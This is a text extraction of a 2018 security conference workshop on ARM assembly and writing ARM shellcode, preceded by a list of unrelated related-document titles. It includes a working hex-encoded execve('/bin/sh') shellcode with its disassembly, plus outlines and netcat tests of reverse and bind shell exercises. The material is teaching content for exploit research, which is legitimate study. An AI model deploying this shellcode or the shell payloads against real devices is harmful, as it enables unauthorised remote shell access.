Lab: ARM Assembly Shellcode

Similar documents
Lab: ARM Assembly Shellcode

Scalable Runtime Support for Data-Intensive Applications on the Single-Chip Cloud Computer

ICFP programming contest 2017 Lambda punter (1.3)

OpenComRTOS: Formally developed RTOS for Heterogeneous Systems

Table of Contents. Part I Introduction 3 Part II Installation 3. Part III How to Distribute It 3 Part IV Office 2007 &

Kristina Ricks ISYS 520 VBA Project Write-up Around the World

AS/400 Machine Level Programming. Table of contents

Hitachi GigE Camera. Installation Manual. Version 1.6

Baggage Reconciliation System

Cisco CMX Cloud Proxy Configuration Guide

etrust SiteMinder Connector for Oracle Solutions Architecture, Installation and Configuration Guide For UNIX Version 1.6 (Rev 1.

Table of Contents. Part I Introduction 3 Part II Installation 3. Part III How to Distribute It 3 Part IV Office 2007 &

Hiway Gateway Specification and Technical Data

PSS Integrating 3 rd Party Intelligent Terminal. Application Note. Date December 15, 2009 Document number PSS5000/APNO/804680/00

Part 1. Part 2. airports100.csv contains a list of 100 US airports.

Programmable Safety Systems PSS-Range

EE382M.20: System-on-Chip (SoC) Design

Special edition paper Development of a Crew Schedule Data Transfer System

Milkymist One. A video synthesizer at the forefront of open source hardware. S. Bourdeauducq. Milkymist project. August 2011

Solera Power Awning OEM INSTALLATION MANUAL

Information security supplier rules. Information security supplier rules

FabLite Designer Series 10' Kit 12 - FL10-DS12

Video Media Center - VMC 1000 Getting Started Guide

Analysis of Air Transportation Systems. Airport Capacity

Lab Skills: Introduction to the Air Track

Punt Policing and Monitoring

EE382V: Embedded System Design and Modeling

INTERNATIONAL CIVIL AVIATION ORGANIZATION AFI REGION AIM IMPLEMENTATION TASK FORCE. (Dakar, Senegal, 20 22nd July 2011)

QuickSilver Controls, Inc. Application Note:QCI-AN034

UM1868. The BlueNRG and BlueNRG-MS information register (IFR) User manual. Introduction

The LINK2000+ Test Facility Presentation. Eurocontrol LINK Programme

Setup and Configure the Siteminder Policy Store with Dxmanager

Dell EMC Unisphere 360

Display Systems. 1. General. A. Multi-Function Display (MFD) B. Primary Flight Display (PFD)

Model Crosspoint Matrix

❷ s é ②s é í t é Pr ③ t tr t á t r ít. á s á rá. Pr ③ t t í t. t í r r t á r t á s ý. r t r é s②sté ②

DIY Pocket Monkii Suspension Trainer - the Most Portable Gym Ever

GDC Services Access via PDA. User Guide

SIMULATION TECHNOLOGY FOR FREE FLIGHT SYSTEM PERFORMANCE AND SURVIVABILITY ANALYSIS

PBN Airspace Design Workshop. Area Navigation. Asia and Pacific Regional Sub-Office Beijing, China. 5 May 2016 Page 1 APAC RSO BEIJING

80070 TOP MOUNT CAMPER SHELL and TRANSIT CONNECT RACK TMCS_3:1

BusStop Telco 2.0 application supporting public transport in agglomerations

The Charleston Style Awning Charleston Style Awning Frame must be installed on the wall as there is no connecting part between AA and TB

EMC Unisphere 360 for VMAX

EE382N: Embedded System Design and Modeling

Management System for Flight Information

PBN and Flight Planning

Air Traffic Information System

Transport Data Analysis and Modeling Methodologies

Contents. Awnings USA - Full Protective Hood Manual Instructions ft 11" - 11ft 6" Awnings

PSS MVS 7.15 announcement

ultimate traffic Live User Guide

EMC Unisphere 360 for VMAX

Interacting with HDFS

Applicability / Compatibility of STPA with FAA Regulations & Guidance. First STAMP/STPA Workshop. Federal Aviation Administration

PHY 133 Lab 6 - Conservation of Momentum

Multi/many core in Avionics Systems

Formulate 10 Vertical Curve - Kit 11

The organisation of the Airbus. A330/340 flight control system. Ian Sommerville 2001 Airbus flight control system Slide 1

Specification Details: Coded Dash Number M28803/1 -MC PART LISTINGS MANUFACTURER'S DESIGNATION OR TYPE NUMBER TEST OR QUALIFICATION REFERENCE

Jeppesen Total Navigation Solution

TCWS54 SEE THRU LONG BEACH LOG INSTALLATION INSTRUCTIONS

Technical Standard Order

Quickstart Guide to HIPE and the HSA

USER GUIDE OPTUS 3G EXECUTIVE EXECUTIVE HOME ZONE HOW TO BOOST YOUR 3G SIGNAL AT HOME YOUR GUIDE TO SETTING UP OPTUS 3G EXECUTIVE HOME ZONE

HardSID Uno / UPlay user s guide HardSID Uno HardSID UPlay

Logic Control Summer Semester Assignment: Modeling and Logic Controller Design 1

Real-Time Control Strategies for Rail Transit

Performance Indicator Horizontal Flight Efficiency

PSS VM 7.15 announcement

RETRACTABLE PATIO SHADE AWNING Patio Awning Guide-10ft. x12ft.(proj. X Width) Model: APR ***/APR (version: GEN2-V1)

Configuring a Secure Access etrust SiteMinder Server Instance (NSM Procedure)

EasyFMC. - Documentation -

TILOS & P3 DATA INTERFACE PAUL E HARRIS EASTWOOD HARRIS PTY LTD. 24 July 2007

ASPASIA Project. ASPASIA Overall Summary. ASPASIA Project

Aircraft Communication and Reporting System (ACARS) User s manual

FOREIGN TRAVEL ORDER REVISION D IMPACT

Motor Fuels efiling Handbook (efiling Guide)

Gap Acceptance for Pelicans under SCOOT Implementation (GAPS) Guide Lines

Nordic ID HH53 User Guide Version 1.0 NORDIC ID HH53 USER GUIDE

From C-ITS to C-OpenServices

Herning Airfield. Add-on for Microsoft Flight Simulator X: Steam Edition Version 1.0 (FSX:SE Edition) Manual 2016 VIDAN DESIGN

VFR PHRASEOLOGY. The word IMMEDIATELY should only be used when immediate action is required for safety reasons.

IBM Tivoli Storage Manager Version Configuring an IBM Tivoli Storage Manager cluster with IBM Tivoli System Automation for Multiplatforms

Formulate Designer Series 10 Backwall - Kit 03

Wishlist Auto Registration Manual

Power Tong Torque Manual

Workshop on Advances in Public Transport Control and Operations, Stockholm, June 2017

Triple Play Networking in a Cruise Ship Environment

COMBI CRATE MODEL NO: 7000/7001/7002/7003

Today: using MATLAB to model LTI systems

TCWS54 SEE THRU DIAMOND BURNER INSTALLATION KIT INSTRUCTIONS

Optimizing trajectories over the 4DWeatherCube

The Opus - Office Space

Ranking Senators w/ Ted Kennedy s Votes

Active Geodetic Network of Serbia

Process Guide Version 2.5 / 2017

Management System for Flight Information

GROUND HANDLING COURSES Amadeus Customer Service

R.A.S.S. Utility Tray

Transcription:

Lab: ARM Assembly Shellcode From Zero to ARM Assembly Bind Shellcode HITBSecConf2018 - Amsterdam 1

Learning Objectives ARM assembly basics Registers Most common instructions ARM vs. Thumb Load and Store Literal Pool PC-relative Addressing Branches Writing ARM Shellcode System functions Mapping out parameters Translating to Assembly De-Nullification Execve() shell Reverse Shell Bind Shell HITBSecConf2018 - Amsterdam 2

Outline 120 minutes ARM assembly basics 15 20 minutes Shellcoding steps: execve 10 minutes Getting ready for practical part 5 minutes Reverse Shell 3 functions For each: 10 minutes exercise 5 minutes solution Buffer[10] Bind Shell 3 functions 25 minutes exercise HITBSecConf2018 - Amsterdam 3

Mobile and Iot bla bla HITBSecConf2018 - Amsterdam 4

It s getting interesting HITBSecConf2018 - Amsterdam 5

Benefits of Learning ARM Assembly Reverse Engineering binaries on Phones? Routers? Cars? Internet of Things? MACBOOKS?? SERVERS?? Intel x86 is nice but.. Knowing ARM assembly allows you to dig into and have fun with various different device types HITBSecConf2018 - Amsterdam 6

Benefits of writing ARM Shellcode Writing your own assembly helps you to understand assembly How functions work How function parameters are handled How to translate functions to assembly for any purpose Learn it once and know how to write your own variations For exploit development and vulnerability research You can brag that you can write your own shellcode instead of having to rely on exploit-db or tools HITBSecConf2018 - Amsterdam 7

ARM Assembly Basics 15 20 minutes HITBSecConf2018 - Amsterdam 8

ARM CPU Features RISC (Reduced Instruction Set Computing) processor Simplified instruction set More registers than in CISC (Complex Instruction Set Computing) Load/Store architecture No direct operations on memory 32-bit ARM mode / 16-bit Thumb mode Conditional Execution on almost all instructions (ARM mode only) Inline Barrel Shifter Word aligned memory access (4 byte aligned)

ARM Architecture and Cores Arch W Processor Family ARMv6 32 ARM11 ARMv6-M 32 ARM Cortex-M0, ARM Cortex-M0+, ARM Cortex-M1, SecurCore SC000 ARMv7-M 32 ARM Cortex-M3, SecurCore SC300 ARMv7E-M 32 ARM Cortex-M4, ARM Cortex-M7 ARMv7-R 32 ARMv7-A 32 ARMv8-A 32 ARM Cortex-A32 ARMv8-A 64 ARM Cortex-R4, ARM Cortex-R5, ARM Cortex-R7, ARM Cortex-R8 ARM Cortex-A5, ARM Cortex-A7, ARM Cortex-A8, ARM Cortex-A9, ARM Cortex-A12, ARM Cortex-A15, ARM Cortex-A17 ARM Cortex-A35, ARM Cortex-A53, ARM Cortex-A57, ARM Cortex-A72

ARM CPU Registers

Most Common Instructions

Thumb Instructions ARM core has two execution states: ARM and Thumb Switch state with BX instruction Thumb is a 16-bit instruction set Other versions: Thumb-2 (16 and 32-bit), ThumbEE For us: useful to get rid of NULL bytes in our shellcode Most Thumb instructions are executed unconditionally

Conditional Execution

Load / Store instructions ARM is a Load / Store Architecture Does not support memory to memory data processing operations Must move data values into register before using them This isn t as inefficient as it sounds: Load data values from memory into registers Process data in registers using a number of data processing instructions which are not slowed down by memory access Store results from registers out of memory Three sets of instructions which interact with main memory: Single register data transfer (LDR/STR) Block data transfer (LDM/STM) Single Data Swap (SWP)

Load / Store Instructions Load and Store Word or Byte LDR / STR / LDRB / STRB Can be executed conditionally Syntax: <LDR STR>{<cond>}{<size>} Rd, <address> HITBSecConf2018 - Amsterdam 16

Replace X with null-byte HITBSecConf2018 - Amsterdam 17

Replace X with null-byte HITBSecConf2018 - Amsterdam 18

Store Byte (STRB) HITBSecConf2018 - Amsterdam 19

Load Immediate Values.section.text.global _start _start: mov r0, #511 bkpt azeria@labs:~$ as test.s -o test.o test.s: Assembler messages: test.s:5: Error: invalid constant (1ff) after fixup *https://raw.githubusercontent.com/azeria-labs/rotator/master/rotator.py

Load Immediate values HITBSecConf2018 - Amsterdam 21

Load Immediate values HITBSecConf2018 - Amsterdam 22

Load Immediate values HITBSecConf2018 - Amsterdam 23

Load Immediate values HITBSecConf2018 - Amsterdam 24

Solution: LDR or Split HITBSecConf2018 - Amsterdam 25

Literal Pool HITBSecConf2018 - Amsterdam 26

PC-relative Addressing HITBSecConf2018 - Amsterdam 27

Branches HITBSecConf2018 - Amsterdam 28

Branches HITBSecConf2018 - Amsterdam 29

Thumb mode HITBSecConf2018 - Amsterdam 30

Shellcoding HITBSecConf2018 - Amsterdam 31

How to Shellcode Step 1: Figure out the system call that is being invoked Step 2: Figure out the number of that system call Step 3: Map out parameters of the function Step 4: Translate to assembly Step 5: Dump disassembly to check for null bytes Step 6: Get rid of null bytes de-nullifying shellcode Step 7: Convert shellcode to hex HITBSecConf2018 - Amsterdam 32

Step 1: Tracing System calls We want to translate the following code into ARM assembly: #include <stdio.h> void main(void) { system("/bin/sh"); } azeria@labs:~$ gcc system.c -o system azeria@labs:~$ strace -h -f -- follow forks, -ff -- with output into separate files -v -- verbose mode: print unabbreviated argv, stat, termio[s], etc. args --- snip -- azeria@labs:~$ strace -f -v system --- snip -- [pid 4575] execve("/bin/sh", ["/bin/sh"], ["MAIL=/var/mail/pi", "SSH_CLIENT=192.168.200.1 42616 2"..., "USER=pi", "SHLVL=1", "OLDPWD=/home/azeria", "HOME=/home/azeria", "XDG_SESSION_COOKIE=34069147acf8a"..., "SSH_TTY=/dev/pts/1", "LOGNAME=pi", "_=/usr/bin/strace", "TERM=xterm", "PATH=/usr/local/sbin:/usr/local/"..., "LANG=en_US.UTF-8", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "SHELL=/bin/bash", "EGG=AAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "LC_ALL=en_US.UTF-8", "PWD=/home/azeria/", "SSH_CONNECTION=192.168.200.1 426"...]) = HITBSecConf2018 - Amsterdam 33

Step 2: Figure out Syscall number azeria@labs:~$ grep execve /usr/include/arm-linux-gnueabihf/asm/unistd.h #define NR_execve ( NR_SYSCALL_BASE+ 11) HITBSecConf2018 - Amsterdam 34

Step 3: Mapping out parameters execve(*filename, *argv[], *envp[]) Simplification argv = NULL envp = NULL Simply put: execve(*filename, 0, 0) HITBSecConf2018 - Amsterdam 35

Step 3: Mapping out Parameters HITBSecConf2018 - Amsterdam 36

Structure of an Assembly Program.section.text.global _start _start:.code 32 <instruction> <instruction>.code 16 <thumb instruction>.ascii some string HITBSecConf2018 - Amsterdam 37

Step 4: Translate to Assembly HITBSecConf2018 - Amsterdam 38

Step 5: Check for Null Bytes pi@raspberrypi:~$ as execve.s -o execve.o && ld N execve.o -o execve pi@raspberrypi:~$ objdump -d./execve./execve: file format elf32-littlearm Disassembly of section.text: 00010054 <_start>: 10054: e28f000c add r0, pc, #12 10058: e3a01000 mov r1, #0 1005c: e3a02000 mov r2, #0 10060: e3a0700b mov r7, #11 10064: ef000000 svc 0x00000000 00010068 <binsh>: 10068: 6e69622f.word 0x6e69622f 1006c: 0068732f.word 0x0068732f

Step 6: De-Nullify HITBSecConf2018 - Amsterdam 40

pi@raspberrypi:~/asm $ objdump -d execve_final execve_final: Disassembly of section.text: file format elf32-littlearm 00010054 <_start>: 10054: e28f3001 add r3, pc, #1 10058: e12fff13 bx r3 1005c: a002 add r0, pc, #8 1005e: 1a49 subs r1, r1, r1 10060: 1c0a adds r2, r1, #0 10062: 71c2 strb r2, [r0, #7] 10064: 270b movs r7, #11 10066: df01 svc 1 00010068 <binsh>: 10068: 6e69622f.word 0x6e69622f 1006c: 5868732f.word 0x5868732f HITBSecConf2018 - Amsterdam 41

Step 7: Hexify pi@raspberrypi:~$ objcopy -O binary execve_final execve_final.bin pi@raspberrypi:~$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' execve_final.bin \x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\xc2\x71\x0b\x27\x01 \xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58 HITBSecConf2018 - Amsterdam 42

Practical Part Reverse & bind shell HITBSecConf2018 - Amsterdam 43

Prepare HITBSecConf2018 - Amsterdam 44

Prepare Get ZIP with templates and slides From your PI: $ wget https://azeria-labs.com/downloads/hitb-1.zip Solutions: From your PI: $ wget https://azeria-labs.com/downloads/hitb-2.zip HITBSecConf2018 - Amsterdam 45

Reverse shell HITBSecConf2018 - Amsterdam 46

Template HITBSecConf2018 - Amsterdam 47

Create Socket HITBSecConf2018 - Amsterdam 48

Create Socket HITBSecConf2018 - Amsterdam 49

Connect HITBSecConf2018 - Amsterdam 50

Connect HITBSecConf2018 - Amsterdam 51

STDin, STDout, STDerr HITBSecConf2018 - Amsterdam 52

STDin, STDout, STDerr HITBSecConf2018 - Amsterdam 53

Spawning shell HITBSecConf2018 - Amsterdam 54

Spawning shell HITBSecConf2018 - Amsterdam 55

Testing your shellcode pi@raspberrypi:~$ as reverse.s -o reverse.o && ld -N reverse.o -o reverse pi@raspberrypi:~$./reverse user@ubuntu:~$ nc -lvvp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from [192.168.72.129] port 4444 [tcp/*] accepted (family 2, sport 45326) HITBSecConf2018 - Amsterdam 56

Bind shell HITBSecConf2018 - Amsterdam 57

syscall numbers pi@raspberrypi:~$ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h grep < > #define NR_socket ( NR_SYSCALL_BASE+281) #define NR_bind ( NR_SYSCALL_BASE+282) #define NR_listen ( NR_SYSCALL_BASE+284) #define NR_accept ( NR_SYSCALL_BASE+285) #define NR_dup2 ( NR_SYSCALL_BASE+ 63) #define NR_execve ( NR_SYSCALL_BASE+ 11) HITBSecConf2018 - Amsterdam 58

Bind Socket to Local Port HITBSecConf2018 - Amsterdam 59

Bind Socket to Local Port HITBSecConf2018 - Amsterdam 60

Listen for incoming connections HITBSecConf2018 - Amsterdam 61

Listen for incoming connections HITBSecConf2018 - Amsterdam 62

Accept incoming connections HITBSecConf2018 - Amsterdam 63

Accept incoming connections HITBSecConf2018 - Amsterdam 64

Test your bind shell Terminal 1: pi@raspberrypi:~$ strace -e execve,socket,bind,listen,accept,dup2./bind Terminal 2: pi@raspberrypi:~ $ netstat -tlpn Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 1058/bind_test pi@raspberrypi:~ $ netcat -nv 0.0.0.0 4444 Connection to 0.0.0.0 4444 port [tcp/*] succeeded! PID/Program name HITBSecConf2018 - Amsterdam 65

The end. More resources at https://azeria-labs.com Twitter: @Fox0x01 HITBSecConf2018 - Amsterdam 66